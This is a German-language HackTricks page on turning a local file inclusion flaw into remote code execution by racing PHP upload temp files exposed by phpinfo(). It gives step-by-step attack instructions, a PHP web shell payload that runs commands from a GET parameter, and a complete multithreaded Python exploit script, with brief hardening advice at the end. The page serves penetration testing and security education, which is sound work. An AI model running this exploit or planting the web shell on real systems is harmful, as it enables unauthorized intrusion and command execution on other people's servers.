LFI to RCE via PHPInfo
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Um diese Technik auszunutzen benötigen Sie alle folgenden Voraussetzungen:
- Eine erreichbare Seite, die phpinfo() ausgibt.
- Eine Local File Inclusion (LFI)-Primitive, die Sie kontrollieren (z. B. include/require auf Benutzereingabe).
- PHP file uploads aktiviert (file_uploads = On). Jedes PHP-Skript akzeptiert RFC1867 multipart uploads und legt für jeden hochgeladenen Teil eine temporäre Datei an.
- Der PHP-Worker muss in das konfigurierte upload_tmp_dir (oder das default system temp directory) schreiben können und Ihr LFI muss in der Lage sein, diesen Pfad zu include.
Klassisches Write-up und Original-PoC:
- Whitepaper: LFI with PHPInfo() Assistance (B. Moore, 2011)
- Original PoC script name: phpinfolfi.py (see whitepaper and mirrors)
Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s
Hinweise zum originalen PoC
- Die phpinfo()-Ausgabe ist HTML-enkodiert, daher erscheint der “=>” Pfeil häufig als “=>”. Wenn Sie Legacy-Skripte wiederverwenden, stellen Sie sicher, dass sie nach beiden Encodierungen suchen, wenn sie den _FILES[tmp_name]-Wert parsen.
- Sie müssen das payload (Ihr PHP-Code), REQ1 (die Anfrage an den phpinfo()-Endpunkt inklusive Padding) und LFIREQ (die Anfrage an Ihren LFI-Sink) anpassen. Manche Ziele benötigen keinen Null-Byte (%00)-Terminator und moderne PHP-Versionen respektieren ihn nicht. Passen Sie die LFIREQ entsprechend dem verwundbaren Sink an.
Beispiel sed (nur wenn Sie wirklich das alte Python2 PoC verwenden), um den HTML-enkodierten Pfeil abzugleichen:
sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py
Theorie
- Wenn PHP ein multipart/form-data POST mit einem file field erhält, schreibt es den Inhalt in eine temporäre Datei (upload_tmp_dir oder das OS-Default) und macht den Pfad in $_FILES[‘
’][‘tmp_name’] verfügbar. Die Datei wird automatisch am Ende der Request entfernt, es sei denn, sie wurde verschoben/umbenannt. - Der Trick besteht darin, den temporären Namen zu ermitteln und ihn via LFI einzubinden, bevor PHP ihn entfernt. phpinfo() druckt $_FILES, einschließlich tmp_name.
- Indem man Request-Header/Parameter aufbläht (padding), kann man bewirken, dass frühe Teile der phpinfo()-Ausgabe an den Client geflusht werden, bevor die Request beendet ist, sodass man tmp_name lesen kann, während die Temp-Datei noch existiert, und dann sofort das LFI mit diesem Pfad ansteuert.
Unter Windows liegen die Temp-Dateien üblicherweise unter so etwas wie C:\Windows\Temp\php*.tmp. Unter Linux/Unix befinden sie sich normalerweise in /tmp oder in dem in upload_tmp_dir konfigurierten Verzeichnis.
Angriffsvorgehen (Schritt für Schritt)
- Bereite ein kleines PHP payload vor, das schnell eine shell persistiert, um das Race nicht zu verlieren (das Schreiben einer Datei ist in der Regel schneller als das Warten auf eine reverse shell):
<?php file_put_contents('/tmp/.p.php', '<?php system($_GET["x"]); ?>');
-
Sende ein großes multipart POST direkt an die phpinfo()-Seite, sodass eine Temp-Datei mit deinem payload erstellt wird. Blase verschiedene headers/cookies/params mit ~5–10KB Padding auf, um frühe Ausgabe zu begünstigen. Stelle sicher, dass der Formularfeldname mit dem übereinstimmt, was du in $_FILES parsen wirst.
-
Während die phpinfo()-Antwort noch gestreamt wird, parse den partiellen Body, um $_FILES[‘
’][‘tmp_name’] (HTML-kodiert) zu extrahieren. Sobald du den vollständigen absoluten Pfad hast (z. B. /tmp/php3Fz9aB), löse dein LFI aus, um diesen Pfad zu includen. Wenn include() die Temp-Datei ausführt, bevor sie gelöscht wird, läuft dein payload und legt /tmp/.p.php ab. -
Nutze die abgelegte Datei: GET /vuln.php?include=/tmp/.p.php&x=id (oder wo immer dein LFI das Einbinden erlaubt), um Befehle zuverlässig auszuführen.
Tipps
- Verwende mehrere parallele Worker, um deine Chancen zu erhöhen, das Rennen zu gewinnen.
- Padding-Platzierungen, die häufig helfen: URL-Parameter, Cookie, User-Agent, Accept-Language, Pragma. Auf Ziel anpassen.
- Wenn die verwundbare Sink eine Erweiterung anhängt (z. B. .php), brauchst du kein null byte; include() führt PHP unabhängig von der Temp-Dateiendung aus.
Minimal Python 3 PoC (socket-based)
Der untenstehende Ausschnitt konzentriert sich auf die kritischen Teile und ist leichter anzupassen als das alte Python2-Skript. Passe HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (path to the LFI sink), und PAYLOAD an.
#!/usr/bin/env python3
import re, html, socket, threading
HOST = 'target.local'
PORT = 80
PHPSCRIPT = '/phpinfo.php'
LFIPATH = '/vuln.php?file=%s' # sprintf-style where %s will be the tmp path
THREADS = 10
PAYLOAD = (
"<?php file_put_contents('/tmp/.p.php', '<?php system($_GET[\\"x\\"]); ?>'); ?>\r\n"
)
BOUND = '---------------------------7dbff1ded0714'
PADDING = 'A' * 6000
REQ1_DATA = (f"{BOUND}\r\n"
f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n"
f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n")
REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n"
f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n"
f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n"
f"Content-Type: multipart/form-data; boundary={BOUND}\r\n"
f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}")
LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n")
pat = re.compile(r"\\[tmp_name\\]\\s*=>\\s*([^\\s<]+)")
def race_once():
s1 = socket.socket()
s2 = socket.socket()
s1.connect((HOST, PORT))
s2.connect((HOST, PORT))
s1.sendall(REQ1.encode())
buf = b''
tmp = None
while True:
chunk = s1.recv(4096)
if not chunk:
break
buf += chunk
m = pat.search(html.unescape(buf.decode(errors='ignore')))
if m:
tmp = m.group(1)
break
ok = False
if tmp:
req = (LFI % tmp).encode() % HOST.encode()
s2.sendall(req)
r = s2.recv(4096)
ok = b'.p.php' in r or b'HTTP/1.1 200' in r
s1.close(); s2.close()
return ok
if __name__ == '__main__':
hit = False
def worker():
nonlocal_hit = False
while not hit and not nonlocal_hit:
nonlocal_hit = race_once()
if nonlocal_hit:
print('[+] Won the race, payload dropped as /tmp/.p.php')
exit(0)
ts = [threading.Thread(target=worker) for _ in range(THREADS)]
[t.start() for t in ts]
[t.join() for t in ts]
Fehlerbehebung
- You never see tmp_name: Ensure you really POST multipart/form-data to phpinfo(). phpinfo() prints $_FILES only when an upload field was present.
- Output doesn’t flush early: Increase padding, add more large headers, or send multiple concurrent requests. Some SAPIs/buffers won’t flush until larger thresholds; adjust accordingly.
- LFI path blocked by open_basedir or chroot: You must point the LFI to an allowed path or switch to a different LFI2RCE vector.
- Temp directory not /tmp: phpinfo() prints the full absolute tmp_name path; use that exact path in the LFI.
Absicherungshinweise
- Never expose phpinfo() in production. If needed, restrict by IP/auth and remove after use.
- Keep file_uploads disabled if not required. Otherwise, restrict upload_tmp_dir to a path not reachable by include() in the application and enforce strict validation on any include/require paths.
- Treat any LFI as critical; even without phpinfo(), other LFI→RCE paths exist.
Verwandte HackTricks-Techniken
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
Referenzen
- LFI With PHPInfo() Assistance whitepaper (2011) – Packet Storm mirror: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf
- PHP Manual – POST method uploads: https://www.php.net/manual/en/features.file-upload.post-method.php
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks

